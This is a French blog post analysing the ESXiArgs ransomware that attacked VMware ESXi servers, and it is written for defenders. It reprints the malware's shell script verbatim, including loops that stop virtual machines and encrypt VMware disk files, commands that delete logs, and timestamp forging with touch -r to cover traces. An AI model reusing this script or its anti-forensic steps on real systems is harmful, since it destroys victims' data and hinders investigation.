Dans ce nouvel article on va analyser un ransomware ciblant massivement les serveurs ESXi sur toute la planète mais principalement en France. Nommé ESXiArgs, ce ransomware a commencé à faire parler de lui en fin de semaine (03 février 2023).
ESXiArgs
Dans la journée du vendredi 03 février 2023, des dizaines de serveurs ESXi se sont retrouvés avec leurs VMs stoppées et chiffrées et une note de rançon à la place de leur interface web.
La note de rançon sur le serveur web infecté
Une première alerte sur cette attaque a été donnée par les hébergeurs, puis une seconde par l’ANSSI. L’attaquant cible les serveurs ESXi en version 6.x il semble utiliser une faille de sécurité connue et corrigée comme vecteur d’infection.
D’après les différentes sources, l’attaquant exploite faille de sécurité corrigée en 2021 : CVE-2021-21974. Cette faille est un heap overflow dans l’implémentation open source SLP utilisée par VMware permettant d’exécuter du code sur un hôte distant via le port 427.
Analyse
Plusieurs fichiers semblent être déposés sur la machine ESXi en post-exploitation, notamment un script shell ainsi qu’un fichier exécutable ELF. J’ai pu récuperer les deux fichiers sur le forum de Bleeping Computer.
Script shell
Lorsque le script shell est exécuté, il commence par lister chaque fichier de configuration de VM et il rajoute le chiffre 1
devant les extensions de fichiers vmdk
et vswp
, puis il kill
tous les processus vmx
pour arrêter les machines virtuelles :
1
2
3
4
5
6
7
8
for config_file in $(esxcli vm process list | grep "Config File" | awk '{print $3}'); do
echo "FIND CONFIG: $config_file"
sed -i -e 's/.vmdk/1.vmdk/g' -e 's/.vswp/1.vswp/g' "$config_file"
done
## STOP VMX
echo "KILL VMX"
kill -9 $(ps | grep vmx | awk '{print $2}')
Vient ensuite l’étape de chiffrement des fichiers comme ci-dessous :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
## ENCRYPT
chmod +x $CLEAN_DIR/encrypt
for volume in $(IFS='\n' esxcli storage filesystem list | grep "/vmfs/volumes/" | awk -F' ' '{print $2}'); do
echo "START VOLUME: $volume"
IFS=$'\n'
for file_e in $( find "/vmfs/volumes/$volume/" -type f -name "*.vmdk" -o -name "*.vmx" -o -name "*.vmxf" -o -name "*.vmsd" -o -name "*.vmsn" -o -name "*.vswp" -o -name "*.vmss" -o -name "*.nvram" -o -name "*.vmem"); do
if [[ -f "$file_e" ]]; then
size_kb=$(du -k $file_e | awk '{print $1}')
if [[ $size_kb -eq 0 ]]; then
size_kb=1
fi
size_step=0
if [[ $(($size_kb/1024)) -gt 128 ]]; then
size_step=$((($size_kb/1024/100)-1))
fi
echo "START ENCRYPT: $file_e SIZE: $size_kb STEP SIZE: $size_step" "\"$file_e\" $size_step 1 $((size_kb*1024))"
echo $size_step 1 $((size_kb*1024)) > "$file_e.args"
nohup $CLEAN_DIR/encrypt $CLEAN_DIR/public.pem "$file_e" $size_step 1 $((size_kb*1024)) >/dev/null 2>&1&
fi
done
IFS=$" "
done
Il y a une première boucle qui consiste à lister les volumes dans le répertoire /vmfs/volumes/
. Dans une seconde boucle, le script cherche les fichiers avec des extensions bien spécifiques à VMware.
Si l’inode est un fichier alors la taille est calculée pour ensuite être spécifiée avec l’exécution du binaire qui va effectuer le chiffrement.
Si je lance la partie chiffrement sur mon serveur de test, voici le résultat :
1
2
3
4
5
6
7
8
9
10
11
12
[root@localhost:~] ./run.sh
START VOLUME: datastore1
START ENCRYPT: /vmfs/volumes/datastore1/windows-server/windows-server.vmx SIZE: 1 STEP SIZE: 0 "/vmfs/volumes/datastore1/windows-server/windows-server.vmx" 0 1 1024
START ENCRYPT: /vmfs/volumes/datastore1/windows-server/windows-server-flat.vmdk SIZE: 5242880 STEP SIZE: 50 "/vmfs/volumes/datastore1/windows-server/windows-server-flat.vmdk" 50 1 5368709120
START ENCRYPT: /vmfs/volumes/datastore1/windows-server/windows-server.vmdk SIZE: 1 STEP SIZE: 0 "/vmfs/volumes/datastore1/windows-server/windows-server.vmdk" 0 1 1024
START ENCRYPT: /vmfs/volumes/datastore1/windows-server/windows-server.vmsd SIZE: 1 STEP SIZE: 0 "/vmfs/volumes/datastore1/windows-server/windows-server.vmsd" 0 1 1024
START ENCRYPT: /vmfs/volumes/datastore1/windows-server/vmx-windows-server-8b2f10f77d8755b32049b7c9f756832b9d935aea-1.vswp SIZE: 82944 STEP SIZE: 0 "/vmfs/volumes/datastore1/windows-server/vmx-windows-server-8b2f10f77d8755b32049b7c9f756832b9d935aea-1.vswp" 0 1 84934656
START ENCRYPT: /vmfs/volumes/datastore1/windows-server/windows-server-047c381d.vswp SIZE: 4194304 STEP SIZE: 39 "/vmfs/volumes/datastore1/windows-server/windows-server-047c381d.vswp" 39 1 4294967296
START ENCRYPT: /vmfs/volumes/datastore1/windows-server/windows-server.nvram SIZE: 1024 STEP SIZE: 0 "/vmfs/volumes/datastore1/windows-server/windows-server.nvram" 0 1 1048576
START VOLUME: OSDATA-63dea923-b3bd7288-c046-000c296d35ec
START VOLUME: BOOTBANK1
START VOLUME: BOOTBANK2
Suite à cette étape, tous les fichiers index.html
sont renommés et remplacés par celui présent dans /tmp
qui a été déposé au préalable par l’attaquant.
La suite du script consiste à faire le ménage. Il supprime d’abord tous les logs sur le disque. Ensuite le fichier de cron de l’utilisateur root
est remplacé par un fichier vide, mais avec la date de création du fichier /usr/lib/vmware/busybox/bin/busybox
:
1
2
3
4
5
6
7
8
9
10
11
B=$(/bin/vmware -l | /bin/grep " 7." | /bin/wc -l)
if [[ $B -ne 0 ]];
then
/bin/chmod +w /var/spool/cron/crontabs/root
/bin/sed '$d' /var/spool/cron/crontabs/root > /var/spool/cron/crontabs/root.1
/bin/sed '1,8d' /var/spool/cron/crontabs/root.1 > /var/spool/cron/crontabs/root.2
/bin/rm -f /var/spool/cron/crontabs/root /var/spool/cron/crontabs/root.1
/bin/mv /var/spool/cron/crontabs/root.2 /var/spool/cron/crontabs/root
/bin/touch -r /usr/lib/vmware/busybox/bin/busybox /var/spool/cron/crontabs/root
/bin/chmod -w /var/spool/cron/crontabs/root
fi
Le fichier /bin/hostd-probe.sh
a sa première ligne supprimée (donc plus de /bin/sh
) : ` /bin/sed ‘1d’ /bin/hostd-probe.sh > /bin/hostd-probe.sh.1 && /bin/mv /bin/hostd-probe.sh.1 /bin/hostd-probe.sh`
Le script va ensuite supprimer les fichiers de l’infection initiale en supprimant vmtools.py
, qui semble être le script python contenant la backdoor utilisée comme point d’entrée sur les serveurs ainsi que le reste de la configuration initialement mise en place pour cette backdoor.
1
2
3
4
5
6
/bin/rm -f /store/packages/vmtools.py
/bin/sed '$d' /etc/vmware/rhttpproxy/endpoints.conf > /etc/vmware/rhttpproxy/endpoints.conf.1 && /bin/mv /etc/vmware/rhttpproxy/endpoints.conf.1 /etc/vmware/rhttpproxy/endpoints.conf
/bin/echo '' > /etc/rc.local.d/local.sh
/bin/touch -r /etc/vmware/rhttpproxy/config.xml /etc/vmware/rhttpproxy/endpoints.conf
/bin/touch -r /etc/vmware/rhttpproxy/config.xml /bin/hostd-probe.sh
/bin/touch -r /etc/vmware/rhttpproxy/config.xml /etc/rc.local.d/local.sh
L’utilisateur vmnub sur le forum de Bleeping Computer a pu récuperer la backdoor en question qui avait déjà utilisée dans de précédentes attaques ciblant les serveur ESXi.
Donc pour résumer, ce script est divisé en 4 etapes:
- Renommage des fichiers de configuration des VMs
- Kill des processus faisant tourner les VMs
- Chiffrement des VMs et des configurations
- Suppresions des traces de compromission
Exécutable ELF
Pour la suite de cet article on analyse le fichier binaire exécutable ELF. C’est ce fichier qui est exécuté par le script shell et qui permet de chiffrer l’ensemble des fichiers cibles.
Le sample en question est disponible sur Malshare.
- SHA256 :
11b1b2375d9d840912cfd1f0d0d04d93ed0cddb0ae4ddb550a5b62cd044d6b66
En ouvrant le sample dans Binary Ninja, dans la vue de triage on peut déjà voir que le binaire n’est pas strippé, tous les noms des fonctions sont présents, ce qui va grandement simplifier l’analyse.
Vue de triage de Binary Ninja
Intéressons-nous s’intéresse au code de la fonction main
ci-dessous.
Via la fonction init_libssl
certains symboles de cette bibliothèque sont chargés dynamiquement. Puis ça part sur le parsing de la clé publique, l’initialisation de la structure RSA avec la clé publique et le chiffrement du fichier à l’aide des symboles précédemment importés de la bibliothèque libssl
.
Fonction main dans Binary Ninja
On a donc du code qui semble simple a comprendre et sans obfuscation.
Debugging
Je me suis amusé à suivre le flow d’exécution du binaire via le debugger de Binary Ninja en spécifiant les mêmes paramètres du script shell.
J’ai donc lancé le debugger de Binary Ninja via sa démo sur machine de test sous Debian.
Initialisation du debugger
Sans surprise par rapport à l’analyse statique, l’exécution se fait sans accros. On rentre dans la fonction encrypt_file
, cette même fonction lis le contenu du fichier chatgpt.txt
, chiffre son buffer et l’écrit dans le même fichier chatgpt.txt
.
Debugging: Single step
Pour conclure, l’attaque initiale installe une backdoor sur la machine permettant d’exécuter un reverse shell sur les machines ESXi. Puis sont déposés les différents fichiers permettant de chiffrer les VMs du serveur. On a un étape de chiffrement via l’exécutable ELF et la suppression des traces de compromission.
Le ransomware est assez simple à comprendre, il n’y a aucune technique d’anti-analyse et ne vole aucune donnée directement.
A noter que Habib Karataş à partagé sur Twitter des méthodes permettant de décrypter les fichiers de ce ransomware, merci à lui.
Le ransomware en question étant encore tout frais, je mettrai à jour l’article pour ajouter les nouvelles informations.
J’espère que ce post vous a plu, n’hésitez pas à me contacter sur Twitter, Mastodon ou même par mail si vous avez des questions.
Liens et sources :